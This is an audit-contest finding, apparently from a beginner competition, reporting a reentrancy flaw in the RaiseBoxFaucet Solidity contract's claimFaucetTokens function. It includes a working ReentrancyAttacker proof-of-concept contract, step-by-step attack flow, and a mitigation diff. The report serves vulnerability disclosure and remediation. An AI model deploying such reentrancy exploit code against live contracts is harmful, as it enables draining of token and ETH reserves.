Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in `RaiseBoxFaucet::claimFaucetTokens()` Leading to Multiple Unauthorized Claims


Reentrancy in RaiseBoxFaucet::claimFaucetTokens() Leading to Multiple Unauthorized Claims

Description

  • The claimFaucetTokens function in RaiseBoxFaucet.sol allows users to claim faucet tokens every 3 days and drips 0.005 Sepolia ETH to first-time claimers. It enforces a cooldown period, daily claim limits, and a daily Sepolia ETH cap to regulate token and ETH distribution.

  • A reentrancy vulnerability exists because the function makes an external call to transfer Sepolia ETH to the claimant before updating critical state variables (lastClaimTime, dailyClaimCount, and _balances). A malicious contract acting as the claimant can re-enter the function during the ETH transfer, bypassing cooldown and limit checks, and claim additional tokens or ETH multiple times within a single transaction.

function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
.
.
.
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
// @> Vulnerable external call
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
// @> End vulnerable section
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// @> State updates after external call
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
// @> End state updates
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood: HIGH

  • A malicious contract deployed as the faucetClaimer executes arbitrary code in its receive or fallback function during the ETH transfer, re-entering claimFaucetTokens.

  • The contract is permissionless, allowing any address (including malicious contracts) to call claimFaucetTokens, increasing the attack surface.

Impact: HIGH

  • Attackers can claim multiple batches of faucet tokens (up to the contract’s token balance), draining the faucet’s token reserves.

  • Attackers can exceed the daily Sepolia ETH cap, potentially exhausting the contract’s ETH balance and disrupting its ability to drip ETH to legitimate users.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
interface IRaiseBoxFaucet {
function claimFaucetTokens() external;
}
contract ReentrancyAttacker {
IRaiseBoxFaucet public faucet;
uint256 public attackCount;
uint256 public constant MAX_ATTACKS = 5;
constructor(address _faucet) {
faucet = IRaiseBoxFaucet(_faucet);
}
receive() external payable {
if (attackCount < MAX_ATTACKS) {
attackCount++;
faucet.claimFaucetTokens(); // Re-enter the faucet contract
}
}
function attack() external {
attackCount = 0;
faucet.claimFaucetTokens(); // Initiate the attack
}
}

Attack Flow:

  1. Deploy ReentrancyAttacker with the RaiseBoxFaucet address.

  2. Call attack(), which triggers claimFaucetTokens.

  3. During the ETH transfer, the receive function re-enters claimFaucetTokens up to MAX_ATTACKS times.

  4. Each reentrant call passes the checks (since lastClaimTime and dailyClaimCount are not updated) and claims additional tokens/ETH.

  5. The attacker could claim faucetDrip * MAX_ATTACKS tokens and multiple ETH drips, assuming sufficient contract balances.

Recommended Mitigation

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
// ... other code ...
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// Checks
// ... other code ...
+ // Effects (move state updates before external call)
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
+ _transfer(address(this), faucetClaimer, faucetDrip);
// Drip Sepolia ETH to first-time claimers
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
+ // Line below now safe due to ReentrancyGuard and prior state updates
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
- _transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Explanation:

  • Add ReentrancyGuard from OpenZeppelin and apply the nonReentrant modifier to prevent reentrant calls.

  • Move state updates (lastClaimTime, dailyClaimCount, _transfer) before the external ETH transfer to adhere to strict Checks-Effects-Interactions.

These changes ensure that the contract’s state is fully updated before any external call, eliminating the reentrancy window.

Updates

Lead Judging Commences

inallhonesty Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.